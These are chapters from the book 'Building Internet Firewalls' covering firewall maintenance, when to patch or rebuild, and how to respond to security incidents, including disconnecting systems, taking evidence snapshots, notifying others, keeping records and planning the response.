In addition to the various mailing lists you might subscribe to, there are a variety of newsgroups that are directly or indirectly relevant to firewalls. Many of these parallel the mailing lists mentioned in the previous section. For example, CERT-CC advisories are posted to the comp.security.announce group, and there are newsgroups for a variety of commercial and noncommercial network products. There has been talk of creating a firewalls newsgroup (probably comp.security.firewalls, or perhaps a pair of related newsgroups: comp.security.firewalls.misc and comp.security.firewalls.announce), which would be completely independent of the Firewalls mailing list discussed above.[3]

[3] This may or may not have happened by the time you read this.

12.3.1.3 Magazines

Many trade magazines are beginning to include occasional or regular features on firewalls, although there isn't yet an entire magazine devoted to Internet security. (However, it's probably just a matter of time before one appears.) At this point, none of the magazines stand head and shoulders above the rest in terms of their coverage of firewalls. One thing to keep in mind about magazines (even tabloid weeklies like Network World and MacWeek) is their lead time; you often hear about something on the Net - on the various mailing lists and newsgroups discussed above - weeks before it appears in the trade press.

12.3.1.4 Professional forums

There are many professional forums available for your participation. These include conferences, vendor user groups, local user groups, professional societies (such as IEEE and ACM special interest groups), and so on. Many people find attending these events invaluable, not so much for the formal programs presented, but for the contacts they make with other people who have solved problems similar to those they are currently facing.

At this point, one of the best conferences for Internet firewall builders and maintainers is the USENIX Security Symposium (generally held annually). If you are a UNIX system administrator, then one of the best possible ways you can spend a week each year is at the USENIX LISA conference.[4] You can find more information about both of these conferences and about USENIX in general in Appendix A.

[4] LISA used to mean "Large Installation System Administration," back in the days when a large installation meant having more than a dozen machines; today, most sites would qualify under that definition, and the focus of the conference has widened to include all types of UNIX system administration, but the name lives on.

Local user and special interest groups are also a great way to keep in touch between conferences; most meet monthly or bimonthly.

12.3.2 Keeping Your Systems Up To Date

If you take care to keep yourself up to date, then keeping your system up to date is a fairly straightforward job. You just need to deal with whatever new problems you hear about, as you hear about them.

You should be able to collect enough information from the sources described in the previous section to decide whether or not a new problem is a problem for your site in particular. Beware that you may not be able to determine instantaneously whether a problem applies to your site; it may take a few hours or days for the information you need to become available to you. You may need to make a judgment call about what to do about a particular problem in the absence of solid information, with only vague reports about the problem and its consequences to go on. Which way you err - towards caution or convenience - is going to be dictated by your particular circumstances. These circumstances include the potential problem involved, what you can realistically do about it, how much your site cares about security versus availability and convenience, and so on. Caution would dictate blocking the problem if it's at all possible that it applies to you. Convenience, on the other hand, would dictate waiting to take action until you're fairly sure that the problem does apply to you.

There are a couple of principles to keep in mind when you are deciding what fixes to apply and when.

Don't be in a hurry to upgrade

Don't be in too big a hurry to install a patch or a fix unless you have reason to believe that the problem is being, or could be, exploited against you. It's always better to let somebody else go first, to discover what new problems the patch or fix creates. We're not suggesting you should delay very long in installing a relevant patch, but it's often wise to wait at least a few hours or a couple of days to see if the patch blows up on anybody else.

Don't patch problems you don't have

You don't want to apply patches for problems you don't have. If you do apply patches in this way, you run a great risk of introducing new problems. If a patch applies only to a particular piece of software or a particular release, and you don't use that software or that release, don't install the patch. If it applies to features that you don't use in programs that you do use, apply it anyway; you may start using the features in the future, and at that point you won't remember whether or not you patched it.

Beware of interdependent patches

While you generally shouldn't apply patches for problems you don't have, be aware that patches for problems you do have may depend on previous patches for problems you don't have. With any luck, the documentation for the patch you want to apply says what other patches (if any) are prerequisites, but this isn't always the case. Sometimes you just have to make your best guess. Situations like this are where it really helps to be tied in to the support mailing lists and newsgroups concerning your platform; you can ask there and see if anybody else has already figured this out.

Previous: 12.2 Monitoring Your System | Building Internet Firewalls | Next: 12.4 How Long Does It Take?
12.2 Monitoring Your System | Book Index | 12.4 How Long Does It Take?


[Chapter 12] 12.4 How Long Does It Take?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 12.3 Keeping Up to Date Chapter 12
Maintaining Firewalls 		Next: 12.5 When Should You Start Over?

12.4 How Long Does It Take?

As we've said, the hardest part of maintaining your firewall is keeping yourself up to date. How long does it take to keep up to date? If you're a novice at this, just getting started and at the steepest part of the learning curve, keeping up to date can easily occupy you full time. After you've been at it for a few weeks or months, and you've learned the fundamentals of what you need to know, your time requirement can drop off to just an hour or so a day to follow the various mailing lists, newsgroups, magazines, and other sources that you've decided to track.

Most of this time will be devoted to maintaining your own knowledge, not maintaining the firewall itself. Monitoring the firewall itself should only take minutes a day: long enough to scan the daily log summaries and make sure that nothing unusual or noteworthy has happened.

Obviously, you're occasionally going to have to devote more time to the firewall when it's time to fix something, upgrade something, or add new functionality. How long this takes depends on how complex the fix, upgrade, or addition is. The better job you've done anticipating your site's needs and designing and building the firewall in the first place, the less time you're going to spend adapting your firewall to changes. Many sites find that they need to update their firewall only about once every few months. The rest of the time, it sits in the corner just humming along.

Previous: 12.3 Keeping Up to Date | Building Internet Firewalls | Next: 12.5 When Should You Start Over?
12.3 Keeping Up to Date | Book Index | 12.5 When Should You Start Over?


[Chapter 12] 12.5 When Should You Start Over?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 12.4 How Long Does It Take? Chapter 12
Maintaining Firewalls 		Next: 13. Responding to Security Incidents

12.5 When Should You Start Over?

One of the most important things to recognize about maintaining a firewall is that the older it is, the more maintenance it's going to require. At some point, you simply need to say "enough," and start over with a new firewall. At the rate the firewall arena is changing today, we generally tell people that if they build the best firewall they can today, they should probably plan on replacing it in 18 to 36 months. Lots of things that affect firewalls are changing very fast, including the attacks they're subjected to, the tools for building them, and the services their users demand.

Here are a few examples of how quickly things can change on the Internet:

  • In 1993, password sniffing was not a major problem. Today, just two years later, it's a major problem.

  • In 1993, there were only a handful of tools available for building firewalls, mostly in the form of limited packet filtering implementations in routers. Today there are dozens of tools of many different types (both commercial and noncommercial) to choose from.

  • In 1993, the World Wide Web was a nonissue, and few Internet users had even heard of it. Today, it is the major factor behind the current growth of the Internet.

In another two years, we're going to be facing a whole new series of attacks, have a whole new set of tools at our disposal, and be dealing with a whole new set of services demanded by our users. Nobody knows for sure what these attacks, tools, and services will be, but you can safely predict that the Internet will be significantly different from what it is today. Of course, that's true for just about any two-year period in the history of the Internet that you care to examine. The one constant about the Internet is constant change - constant growth, a constant stream of new services and new tools, and so on.

Previous: 12.4 How Long Does It Take? | Building Internet Firewalls | Next: 13. Responding to Security Incidents
12.4 How Long Does It Take? | Book Index | 13. Responding to Security Incidents


[Chapter 13] Responding to Security Incidents

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 12.5 When Should You Start Over? Chapter 13 Next: 13.2 What To Do After an Incident

13. Responding to Security Incidents

Contents:
Responding to an Incident
What To Do After an Incident
Pursuing and Capturing the Intruder
Planning Your Response
Being Prepared

The CERT Coordination Center (CERT-CC) reports that, despite increased awareness, the first time many organizations start thinking about how to handle a computer security incident is after an intrusion has occurred. Obviously, this isn't a great approach. You need a plan for how you're going to respond to a computer security incident at your site, and you need to develop that plan well before an incident occurs.

There isn't room here to detail everything you need to know to deal with a security incident: attacks are many and varied; they change constantly; and responding to them can involve a Byzantine assortment of legal and technical issues. This chapter is intended to give you an outline of the issues involved, and the practical steps you can take ahead of time to smooth the process. Appendix A, Resources provides a list of resources that may provide additional help.

13.1 Responding to an Incident

This section discusses a number of steps you'll need to take when you respond to a security incident. You won't necessarily need to follow these steps in the order they're given, and not all of these steps are appropriate for all incidents. But, we recommend that you at least contemplate each of them when you find yourself dealing with an incident.

In the section called "Planning Your Response," later in this chapter, we'll look again at each of these rules and help you figure out how to work them into the overall response plan that you should develop before an incident actually occurs.

Rules for Incident Response

In their book Practical UNIX Security, Simson Garfinkel and Gene Spafford provide two excellent, overriding rules for incident response. Keep these rules in mind as you read this chapter and during any real-life incident response.

  • Rule 1: Don't Panic!

  • Rule 2: Document!

13.1.1 Evaluate the Situation

The first step in responding to a security incident is to decide what response, if any, needs to be made immediately. Ask these questions:

  • Has an attacker succeeded in getting into your systems? If so, you have a genuine emergency on your hands, whether or not the attacker is currently active.

  • Is the attack currently in progress? If so, you need to decide how you're going to react right now. If the attack isn't currently in progress, you may not be in such a hurry.

If the incident looks like an aggressive attack on your system, you probably want to take strong steps quickly. These steps might include shutting down the system or your Internet connection until you figure out how to deal with the situation.

On the other hand, if the incident is a less aggressive one - perhaps someone has just opened a Telnet connection to your machine and is trying various login/password pairs - then you may want to move more slowly. If you're reasonably confident that the attack won't succeed (e.g., you can see that the attacker is trying passwords that consist of all lower-case letters, and you know for certain that no account on the system has such a password), you might want to leave things alone and just watch for a while to see what the attacker does. This may give you an opportunity to trace the attack. (However, see the section below called "Pursuing and Capturing the Intruder" for a discussion of the issues involved in tracing an attack.)

Whatever you do, remember Rule 1: Don't Panic!

13.1.2 Disconnect or Shut Down, as Appropriate

Once you've evaluated the situation, your next priority is to give yourself the time to respond without risking your systems further. The least disruptive alternative is usually to disconnect the affected machine from all networks; this will shut down any active connections. Shutting down active connections may make it harder to trace the intruder, but it will allow the rest of the people at your site to continue to do their work, and it will leave the intruder's programs running. This may help you to identify who the intruder might be.

If you're afraid that other machines have been compromised or are vulnerable to the same attack, you'll probably want to disconnect as many machines as you can as a unit. This may mean taking down your connection to the Internet, if possible. If your Internet connection is managed elsewhere in your organization, you may need to detach just your portion of the network, but you'll also need to talk to other parts of your organization as soon as possible to let them know what's happening.

In some situations, you may want to shut down the compromised system. However, this should be a last resort for a number of reasons:

  • It destroys information you may need.

  • You won't be able to analyze or fix the machine while it's down; you'll have to disconnect it from the network eventually anyway to bring it back up again.

  • It's even more disruptive to legitimate users than removing the network connection.

  • It protects only one machine at a time. (It's much easier to cleanly disconnect a set of systems than to cleanly shut them down.)

Even if you're responding to an incident that has already ended, you still might want to disconnect or shut down the system, or at least close it to users, while you analyze what happened and make any changes necessary to keep it from happening again. This will keep you from being confused by things users are doing, and it will prevent the intruder from returning before you're done.

13.1.3 Analyze and Respond

Your next priority is to start to fix what's gone wrong. The first step in actually correcting the problem is to relax, think for a while, and make sure you really understand what's happening and what you're dealing with. The last thing you want to do is make the situation worse by doing something rash and ill-considered. Whatever corrective actions you're contemplating, think them through carefully. Will they really solve the problem? Will they, in turn, cause other problems?

When you're working in an unusual, high-stress situation like this, the chances of making a major error go way up. Because you're probably going to be working with system privileges (for example, working as root on a UNIX system), the consequences of an error could be serious.

There are several ways you can reduce the chances of making an error. One good way is to work with a partner; each of you can check the other's commands after they're typed but before they're executed. Even if you're working alone, many people find that reading commands aloud and checking the arguments in reverse order before executing them helps avoid mistakes. Resist the temptation to try to work fast. You will go home sooner if you work slowly and carefully.

Try not to let your users get in the way of your response. You may want to give someone the specific job of dealing with user inquiries so the rest of your response team can concentrate on responding to the incident.

Also, try to keep your responders from tripping over each other. Make it clear which system managers and investigators are working on which task, so they won't step on each other's toes (or wind up unintentionally chasing each other as part of the investigation!).

13.1.4 Make `Incident in Progress' Notifications

You're not the only person who needs to know what's going on. A number of other people - in a number of different places - have to be kept informed.

13.1.4.1 Your own organization

Within your own organization, there are people who need to know that something is happening: management, users, and staff. At the very least, let them know that you are busy responding to an incident, and that you may not be available to them for other matters. Usually, they need to know why they're being inconvenienced and what they should do to speed recovery (even if the only thing they can do is to go away and leave you alone).

Depending on the nature of your site and the incident in question, you may also need to inform your legal, audit, public relations, and security departments.

If there are multiple computer facilities at your site, you'll need to inform the other facilities as soon as possible; they are likely sources and future targets for similar attacks.

13.1.4.2 CERT-CC or other incident response teams

If your organization is served by an incident response team such as CERT-CC, or has its own such team, let them know what's going on and try to enlist their aid. (For instructions on how to contact CERT-CC or another response team, see Appendix A.) What steps response teams can take to help you will depend on the charter and resources of the response team. Even if they can't help you directly, they can tell you whether the attack on your site looks as if it is part of a larger pattern of incidents. In that case, they may be able to coordinate your response with the responses of other sites.

13.1.4.3 Vendors and service providers

You might want to get in touch with your vendor support contacts or your Internet service provider(s), if you think they might be able to help or should be aware of the situation. For example, if the attackers appear to be exploiting an operating system bug, you should probably contact the vendor to see if they know about it and have a fix for it. At the very least, they'll be able to warn other sites about the bug. Similarly, your Internet provider is unlikely to be able to do much about your immediate problem, but they may be able to warn other customers. There is also a possibility that your Internet provider has itself been compromised, in which case they need to know immediately. Your vendors and service provider may have special contacts or procedures for security incidents that will yield much faster results than going through normal support channels.

13.1.4.4 Other sites

Finally, if the incident appears to involve other sites - that is, if the attack appears to be coming from a particular site, or if it looks as if the attackers have gone after that site after breaking into yours - you should inform those other sites. These sites are usually easy to identify as the sources or destinations of connections. It's often much harder to figure out how to find an actual human being with some responsibility for the computer in question, who is awake and reachable, and has a common language with you.

If you don't know who to inform, talk to your response team (or CERT-CC). They will probably either know or know how to find out, and they have experience in calling strangers to tell them they have security problems.

13.1.5 Snapshot the System

Another early step to take is to make a "snapshot" of each compromised system. You might do this by doing a full backup to tape, or by copying the whole system to another disk. In the latter case, if your site maintains its own spare parts inventory, you might consider using one of the spares for this purpose, instead of a disk that is already in use and might itself turn out to have been compromised.

The snapshot is important for several reasons:

  • If you misdiagnose the problem or blow the recovery, you can always get back to the time of the snapshot.

  • The snapshot may be vital for investigative and legal proceedings. It lets you get on with the work of recovering the system without fear of destroying evidence.

  • You can examine the snapshot later, after you're back in operation, to determine what happened and why.

Because the snapshot may become important for legal proceedings, you need to secure the evidence trail. Here are some guidelines:[1]

  • Uniquely identify (label) the snapshot media, and put the date, time, your name, and your signature on it.

  • Write-protect the media - permanently, if possible.

  • Safeguard the media against tampering (for example, put it in a locked container) so that if and when you hand it over to law-enforcement or other authorities, you can tell them whose custody the media has been in, and why you're certain it hasn't been tampered with since it was first created.

[1] See Computer Crime: A Crimefighter's Handbook, by David Icove, Karl Seger, and William VonStorch (O'Reilly & Associates, 1995), for a detailed discussion of labeling and protecting evidence.

It's a good idea to set aside an adequate supply of fresh media just for snapshots, because you never know when you're going to need to produce one. It's very frustrating to respond to an incident, and be ready to do the snapshot, only to discover that the last blank tape got used for backups the day before, and the new order hasn't come in yet.

13.1.6 Restore and Recover

Finally, you're at the point of actually dealing with the incident. What do you do? It depends on the circumstances. Here are some possibilities:

  • If the attacker didn't succeed in compromising your system, you may not need to do much. You may decide not to bother reacting to casual attempts. You may also find that your incident was actually something perfectly innocent, and you don't need to do anything at all.

  • If the attack was a particularly determined one, you may want to increase your monitoring (at least temporarily), and you'll probably want to inform other people to watch out for future attempts.

  • If the attacker became an intruder, that is, he actually managed to get into your computers, you're going to need to at least plug the hole the intruder used, and check to make certain he hasn't damaged anything, or left anything behind.

At worst, you may need to rebuild your system from scratch. Sometimes you end up doing this because the intruder damaged things, purposefully or accidentally. More often, you'll rebuild things because it's the only way to ensure you have a clean system that hasn't been booby-trapped. Most intruders start by making sure they'll be able to get back into your system, even if you close their initial entry point. As a result, your systems may be compromised even if the intruder was present only for a short time.

NOTE: Always assume that an intruder has created back doors into your system so that he can get back in again easily. This is one of the first things many intruders do when they break in to a system.

If you need to rebuild your system, first ensure that your hardware is working properly. You want to make sure it passes all relevant self-tests and diagnostics; you don't want to restore onto a flaky system. A reinstall may reveal previously unnoticed hardware problems. For instance, a disk may have bad spots that are in unused files. When you reinstall the operating system, you will attempt to write over the bad parts and the problem will suddenly become apparent.

Next, make sure you are using trusted media and programs, not necessarily your last backup, to restore the system. Unless you are absolutely sure that you can accurately date the first time the intruder accessed your system, you don't know whether or not programs had already been modified at the time the backups happened. It's often best to rebuild your system from vendor distribution media (that is, the tapes or CD-ROM your operating system release came on), and then reload only user data (not programs that multiple users share) from your backup tapes.

If you need programs you didn't get from your vendor (for instance, packages from the Internet), then do one of the following:

  • Rebuild and reinstall these programs from a trusted backup (one you're absolutely positive contains a clean copy).

  • Obtain and install fresh copies from the site you got the packages from in the first place.

Do not recompile software until you've reinstalled the operating system, including the compiler; you don't know whether the compiler itself, and the libraries it depends on, have been compromised.

This implies that if you're heavily customizing your system or installing a lot of extra software beyond what your vendor gives you, you need to work out a way of archiving those customizations and packages that you're sure can't be tampered with by an attacker. This way, you can easily restore those customizations and packages if you need to. One good way is to make a special backup tape of new software immediately after it's installed and configured, before an attacker has a chance to modify it.

You may have programs that were locally written, and in these cases you may not be able to find even source code that's guaranteed to be uncontaminated. In this situation, someone - preferably the original author - will need to look through the source code. People rarely bother to modify source code, and when they do they aren't particularly subtle most of the time. That's because they don't need to be; almost nobody actually bothers to look at the source before recompiling it.

In one case, a programmer installed a back door into code he expected would run on only one machine, as a personal convenience. The program turned out to be fairly popular and was adopted in a number of different sites within his university. Years after he wrote it, and long after the original machine was running a version without the back door, he discovered that the back door was still present on all the other sites, despite the fact that it was clearly marked and commented and within the first page of code. You can't make a comprehensive search of a large program, but you can at least avoid humiliation by looking for obvious changes.

13.1.7 Document the Incident

Life gets very confusing when you're discovering, investigating, and recovering from a security incident. A good chain of communication is important in keeping people informed and preventing them from tripping over each other. Keeping a written (either hardcopy or electronic) record of your activities during the incident is also important. Such a record serves several purposes:

  • It can help keep people informed (and thereby help them to resolve the incident more quickly).

  • It tells you what you did, and when, in responding, so that you can analyze your response later on (and maybe do better next time).

  • It will be vital if you intend to pursue any legal action.

From a legal standpoint, the best records are hardcopy records generated and identified at the time of occurrence. Just about anything else (particularly anything kept online) could be tampered with or falsified fairly easily - or at least a judge and jury could be convinced of that. You need to produce records on pieces of paper, label and date them, and sign them. Furthermore, unless the pages are actually bound together, so that pages can't be inserted or removed without indication, you'll need to date and sign every page. (And you thought continuous tractor-feed paper was useless these days!)

You need to have legal documentation even if you aren't completely certain you're going to need it. An incident that looks fairly simple to start with may turn out to be serious. Don't assume it isn't going to be worth bringing in the police.

Here are several useful documentation methods you might want to consider:

  • Notebooks - Carbon copy lab notebooks are especially useful, because you can write a note, tear it out and give it to someone, and still have a copy of the note. Another benefit is that the pages are usually numbered, so you can determine later on whether any pages have been removed or added.

  • Terminals running with attached printers or old-fashioned printing terminals.

  • A shell running under the UNIX script command, with the resulting typescript immediately printed and identified.

  • A personal-computer terminal program running in "capture" mode, with the resulting typescript immediately printed and identified.

  • A microcassette recorder for verbal notes.

You will probably want to use multiple methods, one to record what's happening online and one to record what's happening outside of the computer. For example, you might have a typescript of the commands you were typing, but a handwritten log for phone calls.

It's easy to decide what to record online; you simply record everything you do. Remember to use the terminal or session that's being recorded. (With some methods, like script, you can record every session you've got going; just make sure you record each session in a separate file.) It's harder to decide what to record of the events that don't just get automatically captured. You certainly want to record at least this much:

  • Who you called, when, and why.

  • A summary of what you told them.

  • A summary of what they told you. (That summary may end up being "see above" some of the time, but you still want to be able to figure out who you were talking to, and when, and why.)

  • Meetings and important decisions and actions that aren't captured online (e.g., the time at which you disconnected the network).

Previous: 12.5 When Should You Start Over? | Building Internet Firewalls | Next: 13.2 What To Do After an Incident
12.5 When Should You Start Over? | Book Index | 13.2 What To Do After an Incident


[Chapter 13] 13.2 What To Do After an Incident

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 13.1 Responding to an Incident Chapter 13
Responding to Security Incidents 		Next: 13.3 Pursuing and Capturing the Intruder

13.2 What To Do After an Incident

There are a variety of things you'll need to take care of after you finish responding to an incident. Don't relax just yet.

First and foremost, you want to figure out what happened and how to keep it from happening again. Now is the time to examine the snapshot you made of your system before you started the recovery process. When you've figured out what happened, you obviously want to take steps to keep it from happening again. You also need to think about anything you or others did during the response (for example, enabling or disabling certain software) that now need to be undone, fixed, or documented and made permanent.

In addition to analyzing the incident, this is the time to analyze your response to the incident. In this phase, it's important to concentrate on critiquing the response, not on assigning blame for the original incident. Don't be confrontational, but talk to any folks involved with, or affected by, the response. With them, try to determine what you did right, what you did wrong, what worked and didn't work, what other tools or resources would have helped, how to respond better next time, and what you've all learned from the experience.

If you made "incident in progress" notifications to various people and organizations, now is probably the time to tell them that the incident is over. Be sure to follow up with appropriate information about what happened, how you responded, and how you plan to keep it from happening again.

Previous: 13.1 Responding to an Incident | Building Internet Firewalls | Next: 13.3 Pursuing and Capturing the Intruder
13.1 Responding to an Incident | Book Index | 13.3 Pursuing and Capturing the Intruder


[Chapter 13] 13.3 Pursuing and Capturing the Intruder

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 13.2 What To Do After an Incident Chapter 13
Responding to Security Incidents 		Next: 13.4 Planning Your Response

13.3 Pursuing and Capturing the Intruder

If you discover a security incident - particularly one in progress - you're going to be tempted to go gunning for the bad guys who are invading your system.

Going after the bad guys has a certain emotional appeal, but it's generally not very practical. There are a variety of approaches you can take, but there are also a variety of technical and legal hurdles.

For an appreciation of the problems involved in hunting down an intruder, see Cliff Stoll's book, The Cuckoo's Egg. In the late 1980s, Cliff was a system manager at Lawrence Berkeley Labs. While tracking down a minor inconsistency in the accounting system LBL used for computer time billing, he discovered evidence that an intruder had broken in over the Internet. He spent the next many months on an odyssey trying to chase down the attackers. Although Cliff succeeded admirably (and wrote an entertaining and useful book to boot), few of us are going to be able to emulate his feats. Most sites just don't have the time and resources to track their attackers the way Cliff did; most are going to have to be satisfied with simply getting them off their systems.

There are two main problems in tracking down intruders; one is technical and the other is legal.

The first problem is that tracking an attack back to its ultimate source is usually technically difficult. It's usually easy to tell what site an attack came from (simply by looking at the IP addresses the attacker's packets are coming from), but once you find the apparent source of the attack, you usually find out that the attack isn't really being carried out by a user from that site. Instead, it's very likely that the site has itself been broken into, and it's being used as a base by the person who attacked you.

If that site traces its own break-in, it will usually discover the same thing: the attacker isn't wherever the attacks appear to be coming from. Moreover, where the attacks appear to be coming from is simply another site in the chain that's been broken into. Each link in the chain between the attacker and you involves more sites and more people. There is a practical limit to how far back you can trace someone in a reasonable period of time. Eventually, you're probably going to run into a site in the chain that you can't get in touch with, or that doesn't have the time or expertise to pursue the matter, or that simply doesn't care about the attack or about you. As Figure 13.1 illustrates, these are many links in any network connection.

Figure 13.1: A network connection has many links

Furthermore, at some link in the chain, you are likely to discover that the attacker is coming in over a telephone line, and tracing telephone calls involves whole new realms of technical and legal problems.

You may well find the same attacker coming in from multiple sites. In one incident, responders kept correcting each other, until they realized that nobody was confused; one set of people was referring to SFU (Simon Fraser University, in Canada) and the other to FSU (Florida State University). The similarity of the abbreviations had momentarily concealed the fact that there were two separate sites, physically distant from each other, being concurrently used by the same attacker. The attacker had not started from either of them, and when SFU and FSU closed down access, identical attacks starting occurring from other sites.

Be wary when using email or voicemail to contact administrators at other sites when tracking down an intruder. How do you know it's really the administrator that's receiving and responding to your messages and not the intruder? Even if you're sure that you're talking to the administrator of a site, maybe the intruder is the administrator.

The second problem is legal. You might contemplate leaving your site "open," even after you're aware of the attacker, in hopes of tracking him down while he's using your site. This may seem like a clever idea; after all, if you shut down your system or disconnect it from the Internet, the attacker will know he's been discovered, and it will be much harder for you to track him down.

The problem is this: leaving your site open doesn't just risk further loss or damage at your own site. What the attacker is probably doing at your site is using it as a base to attack other sites. If you're aware of this, and do nothing to prevent it, those other sites might have grounds to sue you and your organization for negligence or for aiding the attacker.

If you're dealing with someone who's attacking your system unsuccessfully, there's less risk. It's polite to inform the site that the attacker is apparently coming from, so the system administrators there can do their own checking. It also lets you straighten out people who aren't really trying to break in, but are just very confused. For example, attempts to log in as "anonymous", even extremely persistent ones, usually come from people who have confused FTP with Telnet and simply need better advice. Most sites are grateful to be told that there are attacks coming from them, but don't be surprised if universities seem somewhat bored to hear the news. Although they will usually follow up, large universities see these incidents all the time.

You'll also find that the occasional site is uninterested, hostile, or incapable of figuring out what you're talking about, and it's not worth your time to worry about them unless the attacks from them are persistent, determined, and technically competent enough to have a chance of succeeding. In this case, you should enlist the assistance of a response team.

Previous: 13.2 What To Do After an Incident | Building Internet Firewalls | Next: 13.4 Planning Your Response
13.2 What To Do After an Incident | Book Index | 13.4 Planning Your Response


[Chapter 13] 13.4 Planning Your Response

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 13.3 Pursuing and Capturing the Intruder Chapter 13
Responding to Security Incidents 		Next: 13.5 Being Prepared

13.4 Planning Your Response

All of the actions we've outlined in the previous sections sound fine in theory, but you can't actually do any of them reliably without an incident response plan. You may personally be able to mount a sensible response to an attack, but you aren't necessarily going to be the person who discovers one. You may not even be available at the time. How will your organization react if someone attacks your system? Unless you have an incident response plan in place, the people involved will waste valuable time trying to figure out what to do first.

If you already have a plan in place for disaster or emergency response of any kind (e.g., fire, earthquake, electrical problems), you're probably not going to have to change it significantly to meet your security needs. If you don't have such a plan already, you can probably use your security incident response plan with only minor modifications for most emergencies.

Your incident response plan need not be an elaborate document, but you need to have something, even if it's only an email message that records and confirms the details you've all worked out over lunch at the local sushi bar. You'll be better off than many sites even if you do nothing more than think about the issues and discuss them with the relevant people.

What's in your plan?

The response plan is primarily concerned with two issues: authority and communication. For each part of the incident response, the plan should say who's in charge, and who they're supposed to talk to. Although you'll specify a few steps people will take, incidents vary so much that the response plan mostly details who's going to make decisions, and who they're going to contact after they've decided - not what they're going to decide. This section summarizes the different parts of a response plan.

13.4.1 Planning for Detection

An incident starts when somebody detects an intruder or attacker. That person might be a system administrator, but more often it's someone with no official responsibility. If you've properly educated the people who use your computers, they know they're supposed to report weird events. Somebody then needs to sort run-of-the-mill peculiarities from a security incident in progress. Who are the users going to report to? Who are those people going to report to if they're still not sure? What are they authorized to do if they are sure?

The two cases you really want to plan for are these:

  • Somebody notices a real security incident in progress at 3 A.M.

  • Somebody notices one of your perfectly legitimate users who happens to be doing vital work from halfway across the globe at 3 A.M. local time. (In Australia, where he's consulting at the moment, it's a reasonable 5 P.M.)

In the first case, you need a procedure which is going to reliably start up a full incident response immediately. Don't waste any time. It's going to be embarrassing and expensive if you don't actually get around to doing anything until your senior security person arrives in the next morning, takes in enough caffeine to become able to think, and gets around to looking at some report. (And that's if there is a report in the first place; without a response plan, it may be weeks before anyone actually tells someone who can begin to do something about the situation.)

In the second case, it's going to be embarrassing and expensive if you disconnect the network and get five people out of bed, all to prevent somebody from doing the work they're paid to do.

Either way, it's not a decision you probably want made by a night operator, or by a user acting alone because he can't figure out how to call somebody who knows how to tell a real incident from a false alarm.

At a small site, you might want to simply post a number that users can call to get help outside of office hours (for instance, a pager number). Users might be encouraged to shut down personal machines if they suspect an attack and know how to shut the machine down gracefully. You want to be very cautious about this, however, because an ungraceful shutdown, particularly of a multiuser machine, may be more damaging than an intruder.

At a larger site, one that has on-site support after hours, you should instruct the on-site support people to call a senior person if they see a possible security incident. They should be told explicitly not to do anything more than that unless circumstances are extreme, but to keep trying to contact senior personnel until they get somebody who can take a look at what's going on.

13.4.2 Planning for Evaluation of the Incident

Who's going to decide that you don't just have a suspicious situation - you actually have a security problem? You need to designate one specific person who will have responsibility for making the important decisions. It's tempting to pick one specific person in advance and put his or her name in your plan. But, what if that person isn't available in the event of an actual incident? Who, then, will have the responsibility?

Teamwork is great, but emergencies call for leadership. You don't want to have everybody doing their own thing and nobody in charge, and you certainly can't afford to stand around arguing about it. If your senior technical person is absent, do you want someone less senior but more technical to do the evaluation, or do you want someone more senior but less technical? How much time are you going to spend searching for the senior technical person when you have an emergency to deal with, before proceeding to your next candidate for the hot seat?

At a small site, you may not have a lot of options; if there's only one person who has the skills necessary to do something about an attack, your policy will simply list that person as the one in charge in case of a security incident. If that person is unavailable, authority should go to somebody levelheaded and calm who can take stopgap actions and arrange for assistance (for example, from a relevant response team). In this situation, technical skills would be nice, but resourcefulness and calm are more important.

At a larger site, there is probably more than one person who could be in charge. Your plan may want to say that the most senior of them will be in charge by default, or that whoever is specified as being on call will be in charge. Either way, the plan should state that if the default person in charge is unavailable, the first of the other possible people to respond is in charge. Specifying what order they're going to be contacted in is probably overkill; let whoever is trying to reach these people use his or her knowledge of the situation. If none of those people are available, you'll usually want to work up the organizational hierarchy rather than down. (A manager, particularly a technical one, is probably better equipped to cope than an operator.)

In a small organization, you will pick your fallback candidates by name. In a large one, you will usually specify fallbacks by job title. If job title is your criterion, it's important to base your decision on the characteristics of the job, not of the person currently in it. Don't write into your plan that the janitor should decide, on the theory that the current janitor also is the most sensible and technical of those who aren't system administrators. The next janitor might be an airhead with a mop.

13.4.3 Planning for Disconnecting or Shutting Down Machines

Your response plan needs to specify what kind of situation warrants disconnecting or shutting down, and who can make the decision to do that. Most importantly, as we've discussed in "Pursuing and Capturing the Intruder," are you ever willing to allow a known intruder to remain connected to your systems? If you're not, are you going to take down the system, or are you going to disconnect from the network altogether?

If you are at a site with multiple computer facilities, do you want to take the entire site off the Internet if one facility has been compromised, or is it better (or even possible) to take just that facility off the Internet?

At most sites, the reasonable plan is to disconnect the site as a whole from the network as soon as you know for sure that you have an intruder connected to your systems. You may have a myriad of internal connections, with a triply redundant, diversely cabled, UPS-protected routing mesh, which can make "disconnecting" a daunting prospect (the system keeps "fixing" itself). On the other hand, you probably only have one (or a small handful) of connections to the outside world, which can be more easily severed.

Your plan needs to say how to disconnect the network, and how the machines should be shut down. Be very careful about this. You do not want to tell people to respond to a mildly suspicious act by hitting the circuit breakers and powering off every machine in the machine room. On the other hand, if an intruder is currently removing all the files on the machine, you don't want them to give that intruder a 15-minute warning for a graceful shutdown.

This is one case in which you need clear, security-specific instructions in your plan. Here's what we recommend you do:

  • In most security emergencies, the correct way to shut down the machine is to do an immediate but graceful shutdown, with no explanations or warnings sent. Your plan should state that and specify the appropriate commands to issue.

  • If the intruder is actively destroying things, you want people to shut the machine down by the fastest method possible. If they are physically near the machine, cutting off the power to the machine or the disk drive is completely appropriate, despite the damage it may cause. This implies that the relevant power switches must be easy to locate; a master switch for each machine is a good idea.

Whoever is going to disconnect the network needs to know how to do that. Often, the safest and easiest way is to unplug cables and clean up the side effects afterwards. With networks, this tends to result in voluminous error messages but to cause no actual damage. You do have to unplug the relevant cables, however, and the voluminous error messages may make it difficult to determine whether or not the cables that were unplugged were actually the correct ones. Your plan needs to tell people what to unplug, and how to make things functional afterwards.

13.4.4 Planning for Notification of People Who Need to Know

Your incident response plan needs to specify who you're going to notify, who's going to do the notification, when they're going to do it, and what method they're going to use. As we described earlier in this chapter, you may need to notify:

  • People within your own organization

  • CERT-CC or other incident response teams

  • Vendors and service providers

  • People at other sites

13.4.4.1 Your own organization

